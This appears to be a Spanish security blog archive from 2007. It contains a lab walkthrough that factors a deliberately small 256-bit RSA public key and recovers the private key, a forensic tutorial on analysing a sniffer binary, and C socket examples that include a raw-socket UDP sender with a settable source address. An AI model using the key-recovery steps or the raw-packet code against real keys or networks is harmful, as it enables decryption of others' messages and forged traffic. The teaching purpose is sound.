$ openssl rsautl -encrypt -pubin -inkey pubkey.pem -in msg.txt -out msg.enc

# Desciframos (con la clave privada)
$ openssl rsautl -decrypt -inkey privkey.pem -in msg.enc
;)

Ya tenemos nuestro entorno de pruebas con un par de claves que nos pemiten cifrar y descifrar mensajes. Como RSA es un criptosistema asimétrico se supone que deberíamos distribuir la clave pública, mientras que guardaríamos con recelo la clave privada.

Nuetro objetivo será obtener la clave privada partiendo únicamente de la clave pública. Una vez obtenida descifraremos el mensaje.

RSA basa su fuerza en el problema de factorización de números grandes. Un problema matemático para el que no se conoce un algoritmo que lo resuelva de forma eficiente. Entre los algoritmos más rápidos destacan QS y NFS. Ambos implementados por la genial herramienta msieve (Instalar).

Lo primero que necesitamos es el módulo n y el exponete de cifrado. Los dos se pueden obtener facilmente a partir de la clave pública.

$ openssl rsa -in pubkey.pem -pubin -text -modulus
Modulus (256 bit):
00:ad:7f:79:a1:e5:5b:af:0e:af:06:9e:4f:f5:fa:
57:d9:b1:e2:99:2f:13:c9:96:41:27:2b:23:6c:fc:
51:50:61
Exponent: 65537 (0x10001)
Modulus=AD7F79A1E55BAF0EAF069E4FF5FA57D9B1E2992F13C99641272B236CFC515061
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK1/eaHlW68OrwaeT/X6V9mx4pkvE8mW
QScrI2z8UVBhAgMBAAE=
-----END PUBLIC KEY-----

Observemos que el módulo está en hexadecimal. Para continuar será necesario pasarlo a decimal. A continuación, lo factorizamos con msieve:


$ msieve -v 78475351858145546395020889284272950035474797715255953445997961959441362407521

Obteniendo como resultado los factores:
262908038773065572592762474383232893183
298489738938272421513567914663780208287

Únicamente nos quedará recuperar la clave original a partir de los datos obtenidos. Usaremos el programa get_priv_key.


$ ./get_priv_key 262908038773065572592762474383232893183 298489738938272421513567914663780208287 65537
-----BEGIN RSA PRIVATE KEY-----
MIGrAgEAAiEArX95oeVbrw6vBp5P9fpX2bHimS8TyZZBJysjbPxRUGECAwEAAQIg
L/uaWxEAq0iHVXBBMwk6dDC0mJubL4dVLLdiaA01NPUCEQDgjwhah0l/hqX+D3Xh
3s6fAhEAxco/F01rh+Uzf+LV2K6A/wIRANOCxcqHPRpKGFV5+H3cYF8CEEN8O0Sf
JNZsTMMQyXgyKk8CEQCRfomgf/LY71boM54D8a5C
-----END RSA PRIVATE KEY-----

Con la nueva clave privada ya podemos acceder al mensaje cifrado.

$ openssl rsautl -decrypt -inkey cracked_privkey.pem -in msg.enc
;)

Referencias:
- RSA Labs.
- Ataque de factorización a RSA (hakin9 nº19).
- On the cost of factoring RSA 1024.

Introducción al análisis de binarios

2007-05-13T03:38:00.000-07:00

En ocasiones, frecuentemente después de un ataque, quizás durante un análisis forense, podemos encontrar misteriosos binarios en la máquina. Programas que pueden haber sido dejados por el atacante, asi como herramientas que ha utilizado o incluso binarios del sistema troyanizados.

Pueden utilizarse diversas técnicas para obtener pistas sobre lo que hace ese binario, pero lo que si esta claro que no hay que hacer, es ejecutarlo. Quién sabe que podría hacer con nuestro sistema: borrar todas rastro del ataque, destruir ficheros, o ...

Es posible que tengamos suficiente consultando Internet para averiguar que programa es. Aunque esto no siempre es suficiente, ya que econtraremos
programas con nombres poco identificativos o programados por el mismo intruso.

En este post se describe brevemente como utilizar algunas herramientas de Linux para descubrir que hace un programa del que no disponemos de codigo fuente.

Qué tipo de fichero es?

Para obtener información del tipo de fichero, en Unix disponemos de la herramienta file. Veamos un ejemplo de su uso con dos programas desconocidos;
a.out y b.out:

$ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.2.5, dynamically linked (uses shared libs), not stripped

# file b.out
b.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.2.5, statically linked, not stripped

Podemos observar una diferencia importante entre los dos programas analizados. a.out esta enlazado dinámicamente y b.out esta enlazado estáticamente. Por defecto, en compiladores como gcc, se enlaza dinámicamente. Medinate el flag -static podemos compilar un ejecutable estático, y hacer de esta manera que no dependa de librerías externas.

Los binarios estáticos son mucho mas grandes que los dinámicos, ya que el ejecutable final dispone de todas las librerías necesarias. Estos serán más difíciles de analizar, debido a la gran cantidad de informacion que pueden contener.


Ejemplo de compilacion dinamica:
$ gcc src.c -o a.out

Ejemplo de compilacion estatica:
$ gcc -static src.c -o b.out

Resultado:
$ ls -lh
-rwxr-xr-x  1 dlerch dlerch 5,5K nov  8 12:21 a.out
-rwxr-xr-x  1 dlerch dlerch 405K nov  8 12:21 b.out
-rw-r--r--  1 dlerch dlerch 1,5K nov  8 12:10 src.c

Otra información importante que ofrece el comando 'file' es si el binario es 'striped' o 'no striped'. Si el binario es 'striped' esto significará; que el programador ha eliminado los símbolos del fichero objeto. Simbolos que genera el compilador y que nos ayudarían enormemente en nuestra búsqueda de la funcionalidad del mismo.

Estos simbolos pueden eliminarse con el comando 'strip':

$ ls -lh a.out
-rwxr-xr-x  1 root root 5,5K nov  8 12:30 a.out
$ strip a.out
$ ls -lh a.out
-rwxr-xr-x  1 root root 3,6K nov  8 12:31 a.out

En el siguiente apartado se explica el uso del comando 'nm', el principal afectado del uso de 'strip'.

Analisis de los símbolos del fichero objeto.

El comando 'nm' sirve para listar los símbolos del código objeto. Por este motivo si el binario no dispone de símbolo debido a que se ha aplicado sobre el el comando 'strip', 'nm' no nos servira de nada.

$ strip a.out
$ nm a.out
nm: a.out: no hay simbolos

En caso de que el binario disponga de los símbolos el resultado puede darnos algunas indicaciones. Si además, el binario ha sido compilado para ofrecer información de depuración (flag -g, poco probable), todavía dispondremos de más información.


$ nm -a a.out

[Se ha suprimido parte de informacion, para abreviar]

080497f8 A __bss_start
08048454 t call_gmon_start
080497f8 b completed.1
00000000 a crtstuff.c
00000000 a crtstuff.c
080496e0 d __CTOR_END__
080496dc d __CTOR_LIST__
080497ec D __data_start
080497ec W data_start
0804866c t __do_global_ctors_aux
08048478 t __do_global_dtors_aux
080497f0 D __dso_handle
080496e8 d __DTOR_END__
080496e4 d __DTOR_LIST__
080496f0 D _DYNAMIC
080497f8 A _edata
080497fc A _end
      U exit@@GLIBC_2.0
08048690 T _fini
080496dc A __fini_array_end
080496dc A __fini_array_start
080486ac R _fp_hw
080484b4 t frame_dummy
080486d8 r __FRAME_END__
080497bc D _GLOBAL_OFFSET_TABLE_
      w __gmon_start__
      U htons@@GLIBC_2.0
      U inet_ntoa@@GLIBC_2.0
08048378 T _init
080496dc A __init_array_end
080496dc A __init_array_start
080486b0 R _IO_stdin_used
080496ec d __JCR_END__
080496ec d __JCR_LIST__
      w _Jv_RegisterClasses
08048628 T __libc_csu_fini
080485e0 T __libc_csu_init
      U __libc_start_main@@GLIBC_2.0
080484e0 T main
      U ntohs@@GLIBC_2.0
080497f4 d p.0
      U perror@@GLIBC_2.0
080496dc A __preinit_array_end
080496dc A __preinit_array_start
      U printf@@GLIBC_2.0
      U read@@GLIBC_2.0
      U socket@@GLIBC_2.0
00000000 a src.c
08048430 T _start

Como podemos observar en la salida del comando anterior, se utilizan ciertas llamadas a la librería de C como: exit, htons, inet_ntoa, ntohs, perror, printf, read o socket. Es especialmente interesante el hecho de que existen algunas funciones de red como socket(). Sin duda este programa dispone de alguna funcionalidad de red. Sigamos investigando.

Obtener cadenas de texto.

Existe un comando que nos permite obtener las cadenas de texto que se mantienen en el fichero ejecutable. Esto nos permite obtener cierta informacion de forma rapida y sencilla. Este comando es 'strings':

$ strings a.out
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
printf
perror
socket
read
ntohs
inet_ntoa
htons
exit
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh(
socket()
src: %s:%d              dst: %s:%d

Al parecer no hay mucha información que no nos haya proporcionado ya el comando 'nm', aunque sin duda, parte de esta información la ofrece 'strings' de una forma mas legible.

Adicionalmente al comando anterior obtenemos la cadena:


src: %s:%d              dst: %s:%d

El objetivo de este programa salta a la vista ...

Analisis dinámico

Una vez estamos mas o menos seguros de que el programa no dañaría nuestro sistema en caso de ser ejecutado, podemos realizar un análisis dinámico. Este pasa por ejecutar el programa.

Disponemos de dos programas muy interesantes para hacer esto: strace y ltrace. El primero nos informa de las llamadas al sistema que efectúa el
programa, mientras que el segundo informa de las librerías a las que
llama.

Veamos una ejecucion del primero:


$ strace -o strace.out ./a.out
src: 192.168.0.3:8449          dst: 192.168.0.3:7
src: 192.168.0.3:8450          dst: 192.168.0.3:7
src: 192.168.0.3:8451          dst: 192.168.0.3:7
src: 192.168.0.3:8452          dst: 192.168.0.3:7
src: 192.168.0.3:8453          dst: 192.168.0.3:7
...
[ Finalizamos con Contrl+C ]

$ cat strace.out
execve("./a.out", ["./a.out"], [/* 37 vars */]) = 0
uname({sys="Linux", node="hackerbox", ...}) = 0
brk(0)                                  = 0x804a000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or
directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=131688, ...}) = 0
old_mmap(NULL, 131688, PROT_READ, MAP_PRIVATE, 3, 0) = 0xf6fdf000
close(3)                                = 0
open("/lib/tls/libc.so.6", O_RDONLY)    = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\313"..., 512) =
512fstat64(3, {st_mode=S_IFREG|0755, st_size=1455084, ...}) = 0
old_mmap(0xaa8000, 1158124, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xaa8000
old_mmap(0xbbd000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x115000) = 0xbbd000
old_mmap(0xbc1000, 7148, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xbc1000
close(3)                                = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf6fde000
mprotect(0xbbd000, 8192, PROT_READ)     = 0
mprotect(0xaa0000, 4096, PROT_READ)     = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xf6fde300, limit:1048575,
seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0
munmap(0xf6fdf000, 131688)              = 0
socket(PF_INET, SOCK_PACKET, 0x300 /* IPPROTO_??? */) = 3
read(3, "\1\0^\0\0\22\0\0^\0\1\1\10\0E\20\0008\337\310@\0\377p\254"..., 54) =
54fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0xf6fff000
write(1, "src: 192.168.0.3:8449\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\2\10\0E\20\0008\207\324@\0\377p\4"..., 54) = 54
write(1, "src: 192.168.0.3:8450\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\3\10\0E\20\0008\312\334@\0\377p\301"..., 54) =
54write(1, "src: 192.168.0.3:8451\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\4\10\0E\20\0008\302\214@\0\377p\311"..., 54) =
54write(1, "src: 192.168.0.3:8452\t\tdst: 192"..., 45) = 45
read(3, "\1\0^\0\0\22\0\0^\0\1\5\10\0E\20\0008\213\370@\0\377p\0"..., 54) = 54
write(1, "src: 192.168.0.3:8453\t\tdst: 192"..., 45) = 45
read(3, "\0\4u\201\335L\0\260\320\276Z\271\10\0E\0\0004\36\370@"..., 54) = 54
--- SIGINT (Interrupt) @ 0 (0) ---
+++ killed by SIGINT +++

Y con ltrace:


$ ltrace -o ltrace.out ./a.out
src: 192.168.0.2:22            dst: 192.168.0.2:57378
src: 192.168.0.1:57378                dst: 192.168.0.1:22
src: 192.168.0.2:22            dst: 192.168.0.2:57378
src: 192.168.0.1:57378                dst: 192.168.0.1:22
src: 192.168.0.1:57378                dst: 192.168.0.1:22
...
[ Finalizamos con Contrl+C. Podemos ver la captura ]

$ cat ltrace.out
__libc_start_main(0x80484e0, 1, 0xfefff734, 0x80485e0, 0x8048628 

htons(3, 0, 0, 0, 0)                             = 768
socket(2, 10, 768)                               = 3
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54)                                  = 54
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.2", 22, "192.168.0.2",
57378) = 47
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
22 
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++

Por supuesto también disponemos de la ayuda de programas como gdb, objdump, etc. Todo depende del nivel al que queramos llevar nuestro análisis.

Interfaz de red en Linux

2007-05-06T03:43:00.000-07:00

En el siguiente ejemplo se muestra como acceder a la información de las interfaces de Linux en C:



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/time.h>
#include <malloc.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <netinet/tcp.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define ETH_P_ARP  0x0806

/* Funcion de utiliadad para pasar una ip en formato u_int32_t a un char* */
char *inetaddr ( u_int32_t ip )
{
  struct in_addr in;
  in.s_addr = ip;
  return inet_ntoa(in);
}

int main ()
{
  struct ifreq if_data;
  int sockd;
  u_int8_t  local_mac[6];
  u_int32_t local_ip;
  u_int32_t local_netmask;
  u_int32_t local_broadcast;
  u_int32_t ip;

  /* Son necesarios privilegios de root */
  if (getuid () != 0)
  {
     perror ("You must be root. \n");
     exit (0);
  }

  /* Crea el socket */
  if ((sockd = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0)
  {
     perror("socket");
     exit (0);
  }

  /* Interfaz eth0 */
  strcpy (if_data.ifr_name, "eth0");

  /* Obtiene la MAC address */
  if (ioctl (sockd, SIOCGIFHWADDR, &if_data) < 0)
  {
     perror ("ioctl(): SIOCGIFHWADDR \n");
     exit(EXIT_FAILURE);
  }
  memcpy (local_mac, if_data.ifr_hwaddr.sa_data, 6);
  printf ("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
           local_mac[0], local_mac[1], local_mac[2],
           local_mac[3], local_mac[4], local_mac[5]);

  /* Obtiene la IP address */
  if (ioctl (sockd, SIOCGIFADDR, &if_data) < 0)
  {
     perror ("ioctl(); SIOCGIFADDR \n");
     exit(EXIT_FAILURE);
  }
  memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);
  local_ip = ntohl (ip);
  printf ("IP: %s\n", inetaddr(ip));

  /* Obtiene la mascara de red */
  if (ioctl (sockd, SIOCGIFNETMASK, &if_data) < 0)
  {
     perror ("ioctl(): SIOCGIFNETMASK \n");
     exit(EXIT_FAILURE);
  }
  memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4);
  local_netmask = ntohl (ip);
  printf ("NETMASK: %s\n", inetaddr(ip));

  /* Obtiene la direccion de broadcast */
  if (ioctl (sockd, SIOCGIFBRDADDR, &if_data) < 0)
  {
     perror ("ioctl(): SIOCGIFBRDADDR \n");
     exit(EXIT_FAILURE);
  }
  memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4);
  local_broadcast = ntohl (ip);
  printf ("BROADCAST: %s\n", inetaddr(ip));

  return (0);
}

Sockets TCP y UDP

2007-05-06T03:42:00.000-07:00

A continuación pego dos ejemplos de como usar sockets TCP y UDP.

Cliente TCP:



#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>

/*
 * Ejemplo de Sockets cliente TCP
 */
int main () 
{

 /* Datos de conexion */
 char *host = "localhost";
 int port = 9999;

 /* Cadena a enviar */
 char *data = "Cadena de prueba";

 /* Obtenemos el host */
 struct hostent *host_name;
 if ((host_name = gethostbyname(host))==0) 
 {
  perror ("gethostbyname()");
  exit (EXIT_FAILURE);
 }

 /* Configura el socket */
 struct sockaddr_in pin; 
 bzero (&pin, sizeof(pin));
 pin.sin_family =  AF_INET;
 pin.sin_addr.s_addr = htonl(INADDR_ANY);
 pin.sin_addr.s_addr = ((struct in_addr *)(host_name->h_addr))->s_addr;
 pin.sin_port = htons (port);
  

 /* Crea un socket TCP */
 int socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);
 if (socket_descriptor == -1) 
 { 
  perror ("socket()");
  exit (EXIT_FAILURE);
 }
 

 /* Conecta con el servidor */
 if (connect(socket_descriptor, (void *)&pin, sizeof(pin))==-1) 
 {
  perror ("connect()");
  exit (EXIT_FAILURE);
 }

 /* Envia los datos al servidor */
 if (send(socket_descriptor, data, strlen(data), 0) == -1) 
 {
  perror ("send()");
  exit (EXIT_FAILURE);
 }

 /* Lee la respuesta */
 static char buffer [2048];
 if (recv(socket_descriptor, buffer, sizeof(buffer), 0) == -1) {
 
  perror ("recv()");
  exit (EXIT_FAILURE);
 }

 /* Datos recibidos */
 printf ("%s\n", buffer);
}

Servidor TCP:



#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>

#define BUFFER_SIZE 1024

/*
 * Ejemplo Socket servidor TCP
 */
int main() 
{
 
 /* Descriptor del socket */
 int socket_descriptor;

 /* Puerto al que escuchara el servidor */
 int port = 9999;
 
 
 /* Configuracion del socket */
 struct sockaddr_in sin; 
 
 /* Crea un socket TCP */
 socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);
 if (socket_descriptor == -1) 
 {
  perror("socket()");
  exit(EXIT_FAILURE);
 }
 
 /* Configura el socket */
 bzero (&sin, sizeof(sin));
 sin.sin_family =  AF_INET;
 sin.sin_addr.s_addr = INADDR_ANY;
 sin.sin_port = htons (port);
 
 /* Une el socket al puerto X */
 if (bind(socket_descriptor,(struct sockaddr *)&sin,sizeof(sin)) == -1) 
 { 
  perror("bind()");  
  exit(EXIT_FAILURE);
 }

 /* Configura la cola del socket */
 if (listen(socket_descriptor, 20) == -1) 
 {
  perror("listen()");  
  exit(EXIT_FAILURE);
 }
 

 /* Para obtener la configuracion del socket */
 struct sockaddr_in pin;
 int address_size;

 /* Descriptor del socket temporal */
 int temp_socket_descriptor;
 
 /* Buffer de recepcion  */
 char buffer[BUFFER_SIZE];

 /* Bucle principal de recepcion y envio de paquetes */
 while (1) 
 {
  /* Limpieza del buffer */
  memset (buffer, '\0', BUFFER_SIZE);

  /* Aceptamos la conexion */
  temp_socket_descriptor = 
  accept(socket_descriptor,(struct sockaddr*)&pin,&address_size);
  
  if (temp_socket_descriptor == -1) 
  { 
   perror("accept()");  
   exit(EXIT_FAILURE);
  }

  /* Recibimos datos */
  if (recv(temp_socket_descriptor,buffer,sizeof(buffer),0)==-1) 
  { 
   perror("recv()");  
   exit(EXIT_FAILURE);
  }
  
  printf ("Recibido: %s\n",buffer); 

  /* Enviamos datos */
  if (send(temp_socket_descriptor, "Recibido\n", 9,0) == -1) 
  { 
   perror("send()");  
   exit(EXIT_FAILURE);
  }

  /* Cierre del descriptor de archivo */
  close(temp_socket_descriptor);
 }
}

Paquetes UDP:



#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#include <netinet/ip.h>
#include <netinet/udp.h>


int main(void) 
{
 /* socket */
 int sock;

 /* TamaÃ±o del paquete UDP */
 unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct udphdr);

 /* Buffer de tamaÃ±o suficiente para un paquete UDP */
 unsigned char buffer[buffer_size];
 memset (buffer, 0, buffer_size);

 /* Cabecera IP */
 struct iphdr *ip = (struct iphdr *)buffer;

 /* Cabecera UDP */
 struct udphdr *udp = (struct udphdr *)(buffer + sizeof(struct iphdr));

 /* Crea el socket */
 if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP)) == -1) 
 { 
  perror("socket()"); 
  exit(EXIT_FAILURE); 
 }

 /* Establece las opciones del socket */
 int o = 1;
 if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1) 
 { 
  perror("setsockopt()"); 
  exit(EXIT_FAILURE); 
 }

 /* Rellena la cabecera IP */
 ip->version = 4;
 ip->ihl = 5;
 ip->id = htonl(random());
 ip->saddr = inet_addr("1.2.3.4");
 ip->daddr = inet_addr("1.2.3.4");
 ip->ttl = 255;
 ip->protocol = IPPROTO_UDP;
 ip->tot_len = buffer_size;
 ip->check = 0;

 /* Rellena la cabecera UDP */
 udp->source = htons(1234);
 udp->dest = htons(1234);
 udp->len = buffer_size;
 udp->check = 0; /* falta calcular checksum  */


 struct sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_port = udp->source;
 addr.sin_addr.s_addr = ip->saddr;

 /* Envio del paquete */
 if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
        sizeof(struct sockaddr_in))) == -1) 
 {
  perror("send()");
  exit(1);
 }

 return 0;
}

Raw Sockets

2007-05-06T03:40:00.000-07:00

Nueva dirección: http://dlerch.blogspot.com/2007/05/raw-sockets.html

GNU Netcat

2007-05-06T03:28:00.000-07:00

Nueva dirección: http://dlerch.blogspot.com/2007/05/gnu-netcat.html

msieve 1.21

2007-05-06T00:31:00.000-07:00

Aprovecho mi primer post para comentar la publicación por Jason Papadopoulos de una nueva versión de msieve. Podéis acceder a ella desde http://www.boo.net/~jasonp/qs.html.

msieve es una librería de código abierto de factorización de números grandes. Destaca por ser la implementación más rápida del algoritmo de factorización QS. Actualmente también incluye una implementación del algoritmo de factorización NFS.

El problema de factorización de números grandes es muy importante en criptografía por su utilización en ciertos algoritmos de clave pública como RSA. Su resolución dejaría fuera de combate estos algoritmos, por lo que existe gran cantidad de investigación al respecto.

A continuación dejo algunos enlaces que pueden resultar de interés a los aficionados a la factorización:
- NFSNET: Large-scale distributed factoring.
- DFACT: Distributed Factorization Poject.
- Recuperación de clave después de la factorización.

Índice por temas

2007-05-01T03:05:00.000-07:00

BLOQUE I: Seguridad en el Software

Programación segura:

Explotando vulnerabilidades.

Varios

Publicidad web: automatizando clics

BLOQUE II: Seguridad en la red

Programación de red:

Herramientas de red:

BLOQUE III: Análisis Forense

Análisis de binarios:

Introducción al análisis de binarios.

BLOQUE VI: Criptografía y Criptoanálisis

Criptografía:

Modos de cifrado: ECB, CBC, CTR, OFB y CFB.
Codificación Base 64.
Hash mediante C y OpenSSL.
DES y Triple-DES.
Criptografía con GPG y GPGME I.
Criptografía con GPG y GPGME II.
Criptografía de Curva Elíptica.
Esteganografía: El canal Alpha.
Cifrados de sustitución homofónica.
Volúmenes cifrados con OpenSSL.

Criptoanálisis:

Enigmas:

BLOQUE VII: Seguridad Física

Instalaciones:

Power Over Ethernet Casero